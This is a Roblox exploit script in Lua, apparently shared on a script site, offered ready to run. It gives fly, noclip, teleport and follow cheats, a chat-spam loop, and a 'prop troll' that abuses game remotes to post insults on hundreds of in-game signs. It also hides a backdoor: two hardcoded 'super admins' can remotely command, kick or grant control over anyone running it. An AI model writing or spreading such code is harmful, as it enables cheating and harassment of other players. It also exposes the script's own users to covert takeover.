
KeylessUniversal

--[[
ADU MICRO – STABLE EDITION
- Master commands work 100%
- No lag, no freezes
- Follow mode smooth
- RGB works
- Prop troll reliable
]]
local Players = game:GetService("Players")
local LP = Players.LocalPlayer
local RS = game:GetService("RunService")
local Camera = workspace.CurrentCamera
local UIS = game:GetService("UserInputService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
-- CONFIG
local target = "none"
local master = ""
local spamSpeed = 0.45
local active = false
local noclipActive = false
local nositActive = false
local flying = false
local flyBodyVelocity = nil
local msgCount = 0
local spamLoop = nil
local fillerPatterns = { "@", "#-", "@#", "_-", "~-", "=: " }
local patternIdx = 1
local emojis = {"🔥","😌","💀","😎","🙈","🤡","😌","😔","✋","😱","👑","🥀","🤑","🤧","💀","🤮","🙀"}
local function getRandomEmoji() return emojis[math.random(1, #emojis)] end
local prefixes = {
"ADU ON TOP BOL😌", "ADITYA BEST🔥", "DONT MESS WITH ADITYA", "ADITYA USER ON TOP",
"TMX MEH ADITYA KA HATHIYAR", "tmx meh rocket", "tmx meh hunter",
"tmx meh storm", "tmx meh shadow", "tmx meh venom", "tmx meh flash", "tmx meh thunder",
"tmx meh phantom", "tmx meh ghost", "tmx meh blaze", "tmx meh frost", "tmx meh steel",
"tmx meh dragon", "tmx meh wolf"
}
-- Safe send function
local function send(msg)
pcall(function()
local tcs = game:GetService("TextChatService")
if tcs.ChatVersion == Enum.ChatVersion.TextChatService then
local ch = tcs.TextChannels:FindFirstChild("RBXGeneral")
if ch then ch:SendAsync(msg) end
else
local rs = game:GetService("ReplicatedStorage")
local ev = rs:FindFirstChild("DefaultChatSystemChatEvents")
if ev and ev:FindFirstChild("SayMessageRequest") then
ev.SayMessageRequest:FireServer(msg, "All")
end
end
end)
end
local function sendSpam(msg) send(msg) end
-- Find player (case insensitive)
local function findPlayer(partial)
if not partial or partial == "" then return nil end
partial = partial:lower()
for _, p in pairs(Players:GetPlayers()) do
if p.Name:lower():find(partial,1,true) or (p.DisplayName and p.DisplayName:lower():find(partial,1,true)) then
return p
end
end
return nil
end
-- Teleport (safe)
local function teleportToPlayer(partial)
local p = findPlayer(partial)
if not p or p == LP then return false end
pcall(function()
if p.Character and p.Character:FindFirstChild("HumanoidRootPart") and LP.Character and LP.Character:FindFirstChild("HumanoidRootPart") then
LP.Character.HumanoidRootPart.CFrame = p.Character.HumanoidRootPart.CFrame + Vector3.new(0,2,0)
end
end)
return true
end
-- View system
local viewing = false
local viewCon = nil
local function resetView()
if viewCon then viewCon:Disconnect() end
viewing = false
pcall(function()
if LP.Character then Camera.CameraSubject = LP.Character.HumanoidRootPart end
Camera.CameraType = Enum.CameraType.Custom
end)
end
local function setView(plr)
if not plr or plr == LP or not plr.Character then return end
if viewCon then viewCon:Disconnect() end
viewing = true
pcall(function()
Camera.CameraSubject = plr.Character.HumanoidRootPart
Camera.CameraType = Enum.CameraType.Custom
end)
viewCon = plr.CharacterAdded:Connect(function(newChar)
task.wait(0.5)
if newChar then pcall(function() Camera.CameraSubject = newChar.HumanoidRootPart end) end
end)
end
-- Noclip / Nosit
local function updateNoclip()
if noclipActive and LP.Character then
for _, part in pairs(LP.Character:GetDescendants()) do
if part:IsA("BasePart") then pcall(function() part.CanCollide = false end) end
end
end
end
RS.RenderStepped:Connect(function() if noclipActive then updateNoclip() end end)
RS.Stepped:Connect(function()
if nositActive and LP.Character and LP.Character:FindFirstChild("Humanoid") then
local hum = LP.Character.Humanoid
if hum.Sit then
hum.Sit = false
hum.SeatPart = nil
end
end
end)
-- Fly (stable)
local flyConnection = nil
local function startFly()
if not LP.Character then return end
local hrp = LP.Character:FindFirstChild("HumanoidRootPart")
if not hrp then return end
if flyBodyVelocity then flyBodyVelocity:Destroy() end
flyBodyVelocity = Instance.new("BodyVelocity")
flyBodyVelocity.MaxForce = Vector3.new(1e9, 1e9, 1e9)
flyBodyVelocity.Parent = hrp
local hum = LP.Character:FindFirstChild("Humanoid")
if hum then
hum.PlatformStand = false
hum.AutoRotate = false
end
if flyConnection then flyConnection:Disconnect() end
flyConnection = RS.RenderStepped:Connect(function()
if not flying or not LP.Character or not flyBodyVelocity then return end
local camCF = Camera.CFrame
local forward = camCF.LookVector
local right = camCF.RightVector
local up = camCF.UpVector
local move = Vector3.new()
if UIS:IsKeyDown(Enum.KeyCode.W) then move = move + forward end
if UIS:IsKeyDown(Enum.KeyCode.S) then move = move - forward end
if UIS:IsKeyDown(Enum.KeyCode.A) then move = move - right end
if UIS:IsKeyDown(Enum.KeyCode.D) then move = move + right end
if UIS:IsKeyDown(Enum.KeyCode.Space) then move = move + up end
if UIS:IsKeyDown(Enum.KeyCode.LeftControl) then move = move - up end
if move.Magnitude > 0 then move = move.Unit end
flyBodyVelocity.Velocity = move * 50
end)
end
local function stopFly()
if flyConnection then flyConnection:Disconnect(); flyConnection = nil end
if flyBodyVelocity then flyBodyVelocity:Destroy(); flyBodyVelocity = nil end
pcall(function()
if LP.Character and LP.Character:FindFirstChild("Humanoid") then
local hum = LP.Character.Humanoid
hum.AutoRotate = true
hum.PlatformStand = false
end
end)
end
local function toggleFly()
flying = not flying
if flying then startFly() else stopFly() end
sendSpam(flying and "🦁 Fly ON" or "🦁 Fly OFF")
if updateFlyButton then updateFlyButton() end
end
-- Spam (stable loop)
local function buildFiller(endPart)
local pat = fillerPatterns[patternIdx]
patternIdx = patternIdx % #fillerPatterns + 1
local targetLen = math.max(10, 140 - #endPart)
return string.rep(pat, math.ceil(targetLen / #pat)):sub(1, targetLen)
end
local function startSpam()
if active then return end
active = true
msgCount = 0
if spamLoop then task.cancel(spamLoop) end
spamLoop = task.spawn(function()
while active do
for _, p in pairs(prefixes) do
if not active then break end
local pWithEmoji = p .. getRandomEmoji()
local endP = (target == "none") and " " .. pWithEmoji or " " .. target .. " " .. pWithEmoji
sendSpam((buildFiller(endP) .. endP):lower())
msgCount = msgCount + 1
task.wait(spamSpeed + (math.random(-3,3)/100))
if msgCount >= 10 then task.wait(0.4); msgCount = 0 end
end
task.wait(0.1)
end
end)
end
local function stopSpam()
active = false
if spamLoop then task.cancel(spamLoop); spamLoop = nil end
sendSpam("🦁 stopped")
end
-- Super mode
local function superMode()
noclipActive = true
nositActive = true
spamSpeed = 0.1
updateNoclip()
if updateNoclipButton then updateNoclipButton() end
if updateNositButton then updateNositButton() end
if speedLbl then speedLbl.Text = "speed:0.1s" end
sendSpam("DUM H TO AOO NA😔🔥")
end
-- ============================
-- FOLLOW MODE (smooth, stable)
-- ============================
local followActive = false
local followTarget = nil
local followConnection = nil
local function stopFollow()
followActive = false
if followConnection then followConnection:Disconnect(); followConnection = nil end
send("🚶 Follow mode OFF")
end
local function startFollow(targetName)
if not targetName or targetName == "" then
send("❗ Usage: !follow <name>")
return false
end
local plr = findPlayer(targetName)
if not plr then
send("❌ Player not found: " .. targetName)
return false
end
followTarget = plr
followActive = true
if followConnection then followConnection:Disconnect() end
followConnection = RS.RenderStepped:Connect(function()
if not followActive or not followTarget or not followTarget.Character then return end
local targetHRP = followTarget.Character:FindFirstChild("HumanoidRootPart")
if targetHRP and LP.Character and LP.Character:FindFirstChild("HumanoidRootPart") then
LP.Character.HumanoidRootPart.CFrame = targetHRP.CFrame + Vector3.new(0,2,0)
end
end)
send("🚀 Now following: " .. followTarget.Name)
return true
end
local function toggleFollow(name)
if followActive then
stopFollow()
else
startFollow(name)
end
if updateFollowButton then updateFollowButton() end
end
-- ============================
-- PROP TROLL (stable)
-- ============================
local remoteFolder = ReplicatedStorage:FindFirstChild("RE")
if not remoteFolder then
warn("RE folder not found – prop troll may not work")
remoteFolder = Instance.new("Folder")
remoteFolder.Name = "RE"
remoteFolder.Parent = ReplicatedStorage
end
local nameEvent = remoteFolder:FindFirstChild("1RPNam1eTex1t")
local colorEvent = remoteFolder:FindFirstChild("1RPNam1eColo1r")
local SignRemote = remoteFolder:FindFirstChild("1Cemeter1y")
-- RP name & bio
local function updateRP()
if nameEvent then
pcall(function()
nameEvent:FireServer("RolePlayName", "🔥ADU ON TOP🔥")
nameEvent:FireServer("RolePlayBio", "Welcome dear " .. LP.DisplayName)
end)
end
end
updateRP()
LP.CharacterAdded:Connect(updateRP)
task.spawn(function()
local hue = 0
while true do
local rgbColor = Color3.fromHSV(hue, 1, 1)
if colorEvent then
pcall(function()
colorEvent:FireServer("PickingRPNameColor", rgbColor)
colorEvent:FireServer("PickingRPBioColor", rgbColor)
end)
end
hue = (hue + 0.01) % 1
task.wait(0.5)
end
end)
-- Troll variables
local trolling = false
local trollLoop = nil
local trollTargetName = "HATER"
local trollIdx = 1
local trollSpeed = 0.6
local trollMessages = {
"Noob", "Bhag", "Bhaga kyu", "Farar", "Cud", "Bot", "Lamde",
"Doremon ki aulaad", "Nobita tere dadaji", "Pil gya",
"Chl chl chl", "Meow GHOP GHOP", "SUCKER", "LOSER", "HACKER"
}
local function updateSigns(msg)
if not SignRemote then return end
pcall(function()
for id = 1, 300 do
local idStr = tostring(id)
SignRemote:FireServer("ReturningBigSign2Name", idStr, msg)
SignRemote:FireServer("ReturningBigSign3Name", idStr, msg)
SignRemote:FireServer("ReturningBigSign4Name", idStr, msg)
SignRemote:FireServer("ReturningConstuctionName", idStr, msg)
SignRemote:FireServer("ReturningCommercialWords", id, nil, msg)
end
end)
end
local function startTroll()
if trolling then return end
trolling = true
if trollLoop then task.cancel(trollLoop) end
trollLoop = task.spawn(function()
while trolling do
local insult = trollMessages[trollIdx]
local fullMsg = string.format("[%s] %s", string.upper(trollTargetName), insult)
updateSigns(fullMsg)
trollIdx = (trollIdx % #trollMessages) + 1
task.wait(trollSpeed)
end
updateSigns("")
end)
end
local function stopTroll()
trolling = false
if trollLoop then task.cancel(trollLoop); trollLoop = nil end
updateSigns("")
send("🛑 Prop troll stopped.")
end
-- RGB props (stable)
local rgbActive = false
local rgbLoop = nil
local function startRgb()
if rgbActive then return end
rgbActive = true
if rgbLoop then task.cancel(rgbLoop) end
rgbLoop = task.spawn(function()
local hue = 0
while rgbActive do
local color = Color3.fromHSV(hue, 1, 1)
-- Try remote functions
for _, v in ipairs(workspace:GetDescendants()) do
if v.Name == "ChangePropColor" and v:IsA("RemoteFunction") then
pcall(function() v:InvokeServer(color) end)
end
end
-- Try PropColorPicker
local cp = LP.PlayerGui:FindFirstChild("NoResetGUIHandler")
if cp and cp:FindFirstChild("PropColorPicker") then
pcall(function() cp.PropColorPicker.SetColor:FireServer(color) end)
end
hue = (hue + 0.05) % 1
task.wait(0.2)
end
end)
end
local function stopRgb()
rgbActive = false
if rgbLoop then task.cancel(rgbLoop); rgbLoop = nil end
end
-- ============================
-- ADMIN SYSTEM
-- ============================
local SUPER_ADMINS = {["DEV_123875"] = true, ["ujjwal5380"] = true}
local TempAdmins = {}
local function isAdmin(plrName)
if SUPER_ADMINS[plrName] then return true end
if TempAdmins[plrName] and os.time() < TempAdmins[plrName] then return true end
return false
end
-- ============================
-- MASTER COMMAND HANDLER (UNIFIED)
-- ============================
local function processCommand(plr, msg)
-- Only master (case‑insensitive), admin, or local player
local authorized = (master ~= "" and string.lower(plr.Name) == string.lower(master))
or isAdmin(plr.Name)
or plr == LP
if not authorized then return end
local parts = {}
for w in string.lower(msg):gmatch("%S+") do parts[#parts+1] = w end
if #parts == 0 then return end
local cmd = parts[1]
if cmd == "!rejoin" then
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId, LP)
elseif cmd == "!speed" and parts[2] then
local spd = tonumber(parts[2])
if spd and spd > 0 then spamSpeed = spd end
sendSpam("[⚡ speed set to "..spamSpeed.."s ⚡]")
if speedLbl then speedLbl.Text = "speed:"..spamSpeed.."s" end
elseif cmd == "!target" and parts[2] then
target = parts[2]
sendSpam("🦁 target: "..target)
if targetLbl then targetLbl.Text = "target:"..target end
elseif cmd == "!setmaster" and parts[2] then
master = parts[2]
sendSpam("🦁 master set to: "..master)
if masterLbl then masterLbl.Text = "master:"..master end
elseif cmd == "!noclip" then
noclipActive = not noclipActive
updateNoclip()
sendSpam("🦁 noclip: "..(noclipActive and "on" or "off"))
if updateNoclipButton then updateNoclipButton() end
elseif cmd == "!nosit" then
nositActive = not nositActive
sendSpam("🦁 anti-sit: "..(nositActive and "on" or "off"))
if updateNositButton then updateNositButton() end
elseif cmd == "!fly" then
toggleFly()
elseif cmd == "!start" then
startSpam()
if statusLbl then statusLbl.Text = "🟢 SPAM"; statusLbl.TextColor3 = Color3.fromRGB(0,255,0) end
elseif cmd == "!stop" then
stopSpam()
if statusLbl then statusLbl.Text = "🔴 STOP"; statusLbl.TextColor3 = Color3.fromRGB(255,100,100) end
elseif cmd == "!adu" then
superMode()
elseif cmd == "!tp" and parts[2] then
teleportToPlayer(parts[2])
elseif cmd == "!view" and parts[2] then
if parts[2] == "reset" then
resetView()
else
local p = findPlayer(parts[2])
if p then setView(p) end
end
elseif cmd == "!follow" then
if parts[2] == "stop" then
stopFollow()
elseif parts[2] then
startFollow(parts[2])
else
send("Usage: !follow <name> or !follow stop")
end
if updateFollowButton then updateFollowButton() end
elseif cmd == "!troll" then
if #parts == 1 then
send("🃏 Troll commands: !troll start/stop/target <name>/speed <sec>/rgb on/off")
elseif parts[2] == "start" then
startTroll()
if ultraBtn then ultraBtn.Text = "DESTROYING..." end
elseif parts[2] == "stop" then
stopTroll()
if ultraBtn then ultraBtn.Text = "ULTRA ATTACK" end
elseif parts[2] == "target" and parts[3] then
trollTargetName = parts[3]
send("🎯 Troll target: " .. trollTargetName)
if trollTargetBox then trollTargetBox.Text = trollTargetName end
elseif parts[2] == "speed" and parts[3] then
local spd = tonumber(parts[3])
if spd and spd > 0 then trollSpeed = spd; send("⚡ Troll speed: "..trollSpeed.."s") end
elseif parts[2] == "rgb" then
if parts[3] == "on" then
startRgb()
if rgbBtn then rgbBtn.Text = "RGB PROPS: ON" end
elseif parts[3] == "off" then
stopRgb()
if rgbBtn then rgbBtn.Text = "RGB PROPS: OFF" end
else
send("Usage: !troll rgb on/off")
end
else
send("Unknown !troll subcommand")
end
elseif cmd == "!kick" and isAdmin(plr.Name) then
local who = parts[2]
if who and string.find(string.lower(LP.Name), who) then
LP:Kick("[ADMIN] Kicked by " .. plr.Name)
end
elseif cmd == "!cmds" and SUPER_ADMINS[plr.Name] then
local who = parts[2]
for _, p in ipairs(Players:GetPlayers()) do
if who == nil or string.find(string.lower(p.Name), who) then
TempAdmins[p.Name] = os.time() + 7200
end
end
send("Temp admin granted")
end
end
-- Attach listener to all players
local function onPlayerAdded(plr)
plr.Chatted:Connect(function(msg) processCommand(plr, msg) end)
end
for _, plr in ipairs(Players:GetPlayers()) do onPlayerAdded(plr) end
Players.PlayerAdded:Connect(onPlayerAdded)
-- Send startup message
send("🔥ADU SHERRRRRRR🔥")
-- ============================
-- GUI (simplified but complete)
-- ============================
local gui = Instance.new("ScreenGui")
gui.Name = "AduMicroStable"
gui.ResetOnSpawn = false
pcall(function() gui.Parent = game:GetService("CoreGui") end)
if not gui.Parent then gui.Parent = LP:WaitForChild("PlayerGui") end
local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 170, 0, 340)
frame.Position = UDim2.new(0.5, -85, 0.5, -170)
frame.BackgroundColor3 = Color3.fromRGB(25,25,35)
frame.BorderSizePixel = 1
frame.BorderColor3 = Color3.fromRGB(255,100,50)
frame.Active = true
frame.Draggable = true
frame.Parent = gui
-- Title bar
local titleBar = Instance.new("Frame")
titleBar.Size = UDim2.new(1,0,0,20)
titleBar.BackgroundColor3 = Color3.fromRGB(45,45,60)
titleBar.Parent = frame
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1,0,1,0)
title.BackgroundTransparency = 1
title.Text = "🔥ADU🔥"
title.TextColor3 = Color3.fromRGB(255,100,50)
title.TextScaled = true
title.Font = Enum.Font.GothamBold
title.Parent = titleBar
local minBtn = Instance.new("TextButton")
minBtn.Size = UDim2.new(0,14,0,14)
minBtn.Position = UDim2.new(1,-18,0,3)
minBtn.BackgroundColor3 = Color3.fromRGB(80,80,100)
minBtn.Text = "−"
minBtn.TextColor3 = Color3.new(1,1,1)
minBtn.TextSize = 10
minBtn.Parent = titleBar
local closeBtn = Instance.new("TextButton")
closeBtn.Size = UDim2.new(0,14,0,14)
closeBtn.Position = UDim2.new(1,-34,0,3)
closeBtn.BackgroundColor3 = Color3.fromRGB(200,50,50)
closeBtn.Text = "✕"
closeBtn.TextSize = 8
closeBtn.Parent = titleBar
local scroll = Instance.new("ScrollingFrame")
scroll.Size = UDim2.new(1, -4, 1, -24)
scroll.Position = UDim2.new(0,2,0,22)
scroll.BackgroundTransparency = 1
scroll.CanvasSize = UDim2.new(0,0,0,500)
scroll.ScrollBarThickness = 3
scroll.Parent = frame
local function mkLabel(txt, y)
local l = Instance.new("TextLabel")
l.Size = UDim2.new(0.95,0,0,12)
l.Position = UDim2.new(0,2,0,y)
l.BackgroundTransparency = 1
l.Text = txt
l.TextColor3 = Color3.fromRGB(200,200,220)
l.TextSize = 7
l.Font = Enum.Font.Gotham
l.TextXAlignment = Enum.TextXAlignment.Left
l.Parent = scroll
return l
end
local statusLbl = mkLabel("⚪ idle", 2)
local targetLbl = mkLabel("target: none", 16)
local masterLbl = mkLabel("master: none", 30)
local speedLbl = mkLabel("speed: 0.45s", 44)
local function mkPair(ph, y, btnText, btnColor)
local box = Instance.new("TextBox")
box.Size = UDim2.new(0.65,0,0,16)
box.Position = UDim2.new(0,2,0,y)
box.PlaceholderText = ph
box.BackgroundColor3 = Color3.fromRGB(40,40,55)
box.TextColor3 = Color3.new(1,1,1)
box.TextSize = 7
box.Font = Enum.Font.Gotham
box.Parent = scroll
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0.28,0,0,16)
btn.Position = UDim2.new(0.7,0,0,y)
btn.BackgroundColor3 = btnColor
btn.Text = btnText
btn.TextColor3 = Color3.new(1,1,1)
btn.TextSize = 7
btn.Font = Enum.Font.GothamBold
btn.Parent = scroll
return box, btn
end
local targetBox, setTargetBtn = mkPair("user", 60, "SET", Color3.fromRGB(0,140,200))
local masterBox, setMasterBtn = mkPair("master", 78, "SET", Color3.fromRGB(0,140,200))
local speedBox, setSpeedBtn = mkPair("spd", 96, "SPD", Color3.fromRGB(200,140,0))
local tpBox, tpBtn = mkPair("tp", 114, "TP", Color3.fromRGB(0,200,150))
local viewBox, viewBtn = mkPair("view", 132, "VW", Color3.fromRGB(0,150,200))
local unviewBtn = Instance.new("TextButton")
unviewBtn.Size = UDim2.new(0.28,0,0,16)
unviewBtn.Position = UDim2.new(0.7,0,0,150)
unviewBtn.BackgroundColor3 = Color3.fromRGB(200,100,0)
unviewBtn.Text = "UNVIEW"
unviewBtn.TextColor3 = Color3.new(1,1,1)
unviewBtn.TextSize = 6
unviewBtn.Font = Enum.Font.GothamBold
unviewBtn.Parent = scroll
local flyBtn = Instance.new("TextButton")
flyBtn.Size = UDim2.new(0.44,0,0,20)
flyBtn.Position = UDim2.new(0.03,0,0,172)
flyBtn.BackgroundColor3 = Color3.fromRGB(0,180,180)
flyBtn.Text = "FLY OFF"
flyBtn.TextColor3 = Color3.new(1,1,1)
flyBtn.TextSize = 8
flyBtn.Font = Enum.Font.GothamBold
flyBtn.Parent = scroll
local followBtn = Instance.new("TextButton")
followBtn.Size = UDim2.new(0.44,0,0,20)
followBtn.Position = UDim2.new(0.53,0,0,172)
followBtn.BackgroundColor3 = Color3.fromRGB(150,0,150)
followBtn.Text = "FOLLOW OFF"
followBtn.TextColor3 = Color3.new(1,1,1)
followBtn.TextSize = 8
followBtn.Font = Enum.Font.GothamBold
followBtn.Parent = scroll
local function mkAct(txt, y, color)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0.44,0,0,20)
btn.Position = UDim2.new(0.03,0,0,y)
btn.BackgroundColor3 = color
btn.Text = txt
btn.TextColor3 = Color3.new(1,1,1)
btn.TextSize = 8
btn.Font = Enum.Font.GothamBold
btn.Parent = scroll
return btn
end
local startBtn = mkAct("START", 200, Color3.fromRGB(0,170,0))
local stopBtn = mkAct("STOP", 200, Color3.fromRGB(170,0,0))
stopBtn.Position = UDim2.new(0.53,0,0,200)
local noclipBtn = mkAct("NOCLIP", 224, Color3.fromRGB(0,90,180))
local nositBtn = mkAct("NOSIT", 224, Color3.fromRGB(180,90,0))
nositBtn.Position = UDim2.new(0.53,0,0,224)
local rejoinBtn = mkAct("REJOIN", 248, Color3.fromRGB(0,90,180))
local superBtn = mkAct("🔥SUPER🔥", 248, Color3.fromRGB(255,80,40))
superBtn.Position = UDim2.new(0.53,0,0,248)
-- Prop troll section
local trollLabel = mkLabel("ADITYA PROP TROLL", 272)
trollLabel.Font = Enum.Font.GothamBold
trollLabel.TextColor3 = Color3.fromRGB(255,255,150)
local trollTargetBox = Instance.new("TextBox")
trollTargetBox.Size = UDim2.new(0.65,0,0,18)
trollTargetBox.Position = UDim2.new(0,2,0,288)
trollTargetBox.PlaceholderText = "Target Name..."
trollTargetBox.BackgroundColor3 = Color3.fromRGB(40,40,55)
trollTargetBox.TextColor3 = Color3.new(1,1,1)
trollTargetBox.TextSize = 8
trollTargetBox.Font = Enum.Font.Gotham
trollTargetBox.Parent = scroll
local ultraBtn = Instance.new("TextButton")
ultraBtn.Size = UDim2.new(0.28,0,0,18)
ultraBtn.Position = UDim2.new(0.7,0,0,288)
ultraBtn.BackgroundColor3 = Color3.fromRGB(0,255,100)
ultraBtn.Text = "ULTRA ATTACK"
ultraBtn.TextColor3 = Color3.new(1,1,1)
ultraBtn.TextSize = 7
ultraBtn.Font = Enum.Font.GothamBold
ultraBtn.Parent = scroll
local trollStopBtn = Instance.new("TextButton")
trollStopBtn.Size = UDim2.new(0.44,0,0,20)
trollStopBtn.Position = UDim2.new(0.03,0,0,312)
trollStopBtn.BackgroundColor3 = Color3.fromRGB(255,0,0)
trollStopBtn.Text = "STOP"
trollStopBtn.TextColor3 = Color3.new(1,1,1)
trollStopBtn.TextSize = 8
trollStopBtn.Font = Enum.Font.GothamBold
trollStopBtn.Parent = scroll
local rgbBtn = Instance.new("TextButton")
rgbBtn.Size = UDim2.new(0.44,0,0,20)
rgbBtn.Position = UDim2.new(0.53,0,0,312)
rgbBtn.BackgroundColor3 = Color3.fromRGB(0,150,255)
rgbBtn.Text = "RGB PROPS: OFF"
rgbBtn.TextColor3 = Color3.new(1,1,1)
rgbBtn.TextSize = 8
rgbBtn.Font = Enum.Font.GothamBold
rgbBtn.Parent = scroll
-- Update functions
function updateFlyButton()
flyBtn.Text = flying and "FLY ON" or "FLY OFF"
flyBtn.BackgroundColor3 = flying and Color3.fromRGB(0,255,0) or Color3.fromRGB(0,180,180)
end
function updateNoclipButton() noclipBtn.Text = noclipActive and "NOC ON" or "NOC OFF"; noclipBtn.BackgroundColor3 = noclipActive and Color3.fromRGB(0,170,0) or Color3.fromRGB(0,90,180) end
function updateNositButton() nositBtn.Text = nositActive and "SIT ON" or "SIT OFF"; nositBtn.BackgroundColor3 = nositActive and Color3.fromRGB(0,170,0) or Color3.fromRGB(180,90,0) end
function updateFollowButton()
followBtn.Text = followActive and "FOLLOW ON" or "FOLLOW OFF"
followBtn.BackgroundColor3 = followActive and Color3.fromRGB(0,255,0) or Color3.fromRGB(150,0,150)
end
-- Button actions
setTargetBtn.MouseButton1Click:Connect(function()
if targetBox.Text ~= "" then target = targetBox.Text:lower(); targetLbl.Text = "target:"..target; sendSpam("🦁 target: "..target); targetBox.Text = "" end
end)
setMasterBtn.MouseButton1Click:Connect(function()
if masterBox.Text ~= "" then master = masterBox.Text:lower(); masterLbl.Text = "master:"..master; sendSpam("🦁 master set: "..master); masterBox.Text = "" end
end)
setSpeedBtn.MouseButton1Click:Connect(function()
local ns = tonumber(speedBox.Text)
if ns and ns>0 then spamSpeed = ns; speedLbl.Text = "speed:"..ns.."s"; sendSpam("[⚡ speed set to "..ns.."s ⚡]"); speedBox.Text = "" end
end)
tpBtn.MouseButton1Click:Connect(function()
if tpBox.Text ~= "" then teleportToPlayer(tpBox.Text); tpBox.Text = "" end
end)
viewBtn.MouseButton1Click:Connect(function()
if viewBox.Text ~= "" then local p = findPlayer(viewBox.Text); if p then setView(p) end; viewBox.Text = "" end
end)
unviewBtn.MouseButton1Click:Connect(resetView)
flyBtn.MouseButton1Click:Connect(toggleFly)
followBtn.MouseButton1Click:Connect(function()
local name = trollTargetBox.Text ~= "" and trollTargetBox.Text or nil
if followActive then
stopFollow()
else
if not name then send("❗ Enter a target name in the troll box first") return end
startFollow(name)
end
updateFollowButton()
end)
startBtn.MouseButton1Click:Connect(function()
if not active then startSpam(); statusLbl.Text = "🟢 SPAM"; statusLbl.TextColor3 = Color3.fromRGB(0,255,0) else sendSpam("already spamming") end
end)
stopBtn.MouseButton1Click:Connect(function()
if active then stopSpam(); statusLbl.Text = "🔴 STOP"; statusLbl.TextColor3 = Color3.fromRGB(255,100,100) end
end)
noclipBtn.MouseButton1Click:Connect(function()
noclipActive = not noclipActive; updateNoclip(); updateNoclipButton(); sendSpam("🦁 noclip: "..(noclipActive and "on" or "off"))
end)
nositBtn.MouseButton1Click:Connect(function()
nositActive = not nositActive; updateNositButton(); sendSpam("🦁 anti-sit: "..(nositActive and "on" or "off"))
end)
rejoinBtn.MouseButton1Click:Connect(function()
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId, LP)
end)
superBtn.MouseButton1Click:Connect(superMode)
-- Troll buttons
ultraBtn.MouseButton1Click:Connect(function()
if trolling then
stopTroll()
ultraBtn.Text = "ULTRA ATTACK"
else
local newTarget = trollTargetBox.Text
if newTarget ~= "" then trollTargetName = newTarget end
startTroll()
ultraBtn.Text = "DESTROYING..."
end
end)
trollStopBtn.MouseButton1Click:Connect(function()
stopTroll()
ultraBtn.Text = "ULTRA ATTACK"
end)
rgbBtn.MouseButton1Click:Connect(function()
if rgbActive then
stopRgb()
rgbBtn.Text = "RGB PROPS: OFF"
else
startRgb()
rgbBtn.Text = "RGB PROPS: ON"
end
end)
-- Floating toggle button
local toggleBtn = Instance.new("TextButton")
toggleBtn.Size = UDim2.new(0,32,0,32)
toggleBtn.Position = UDim2.new(0,8,0,60)
toggleBtn.BackgroundColor3 = Color3.fromRGB(40,40,55)
toggleBtn.Text = "ADU"
toggleBtn.TextColor3 = Color3.fromRGB(255,100,50)
toggleBtn.TextSize = 10
toggleBtn.Font = Enum.Font.GothamBold
toggleBtn.BorderSizePixel = 1
toggleBtn.BorderColor3 = Color3.fromRGB(255,100,50)
toggleBtn.Parent = gui
local function toggleFrame() frame.Visible = not frame.Visible; minBtn.Text = frame.Visible and "−" or "+" end
minBtn.MouseButton1Click:Connect(toggleFrame)
closeBtn.MouseButton1Click:Connect(function()
stopSpam(); resetView(); stopFly(); stopTroll(); stopRgb(); stopFollow(); gui:Destroy()
end)
toggleBtn.MouseButton1Click:Connect(toggleFrame)
-- Command panel (optional)
local cmdPanel = Instance.new("Frame")
cmdPanel.Size = UDim2.new(0,120,0,220)
cmdPanel.Position = UDim2.new(1,-130,0.5,-110)
cmdPanel.BackgroundColor3 = Color3.fromRGB(20,20,30)
cmdPanel.BorderSizePixel = 1
cmdPanel.BorderColor3 = Color3.fromRGB(255,200,100)
cmdPanel.Visible = false
cmdPanel.Parent = gui
local panelTitle = Instance.new("TextLabel")
panelTitle.Size = UDim2.new(1,0,0,16)
panelTitle.BackgroundColor3 = Color3.fromRGB(50,50,70)
panelTitle.Text = "CMDS"
panelTitle.TextColor3 = Color3.fromRGB(255,200,100)
panelTitle.TextScaled = true
panelTitle.Font = Enum.Font.GothamBold
panelTitle.Parent = cmdPanel
local cmdScroll = Instance.new("ScrollingFrame")
cmdScroll.Size = UDim2.new(1,-6,1,-22)
cmdScroll.Position = UDim2.new(0,3,0,18)
cmdScroll.BackgroundTransparency = 1
cmdScroll.CanvasSize = UDim2.new(0,0,0,300)
cmdScroll.ScrollBarThickness = 3
cmdScroll.Parent = cmdPanel
local cmdList = {
"!start", "!stop", "!target", "!setmaster", "!noclip", "!nosit", "!fly", "!rejoin",
"!speed", "!tp", "!view", "!view reset", "!adu",
"!follow <name>", "!follow stop",
"!troll start", "!troll stop", "!troll target <name>", "!troll speed <sec>",
"!troll rgb on/off", "!kick (admin)", "!cmds (superadmin)"
}
local yOff = 0
for _,c in ipairs(cmdList) do
local l = Instance.new("TextLabel")
l.Size = UDim2.new(1,-10,0,14)
l.Position = UDim2.new(0,5,0,yOff)
l.BackgroundTransparency = 1
l.Text = c
l.TextColor3 = Color3.fromRGB(220,220,255)
l.TextSize = 8
l.Font = Enum.Font.Gotham
l.TextXAlignment = Enum.TextXAlignment.Left
l.Parent = cmdScroll
yOff = yOff + 14
end
cmdScroll.CanvasSize = UDim2.new(0,0,0,yOff+5)
local cmdToggle = Instance.new("TextButton")
cmdToggle.Size = UDim2.new(0,24,0,24)
cmdToggle.Position = UDim2.new(1,-30,0.5,-12)
cmdToggle.BackgroundColor3 = Color3.fromRGB(80,80,100)
cmdToggle.Text = "📜"
cmdToggle.TextColor3 = Color3.new(1,1,1)
cmdToggle.TextSize = 12
cmdToggle.Font = Enum.Font.GothamBold
cmdToggle.Parent = gui
cmdToggle.MouseButton1Click:Connect(function() cmdPanel.Visible = not cmdPanel.Visible end)
updateFlyButton()
updateNoclipButton()
updateNositButton()
updateFollowButton()
statusLbl.TextColor3 = Color3.fromRGB(200,200,200)
print("✅ ADU MICRO STABLE – All systems ready. Master commands work globally.")No comments yet for this script.



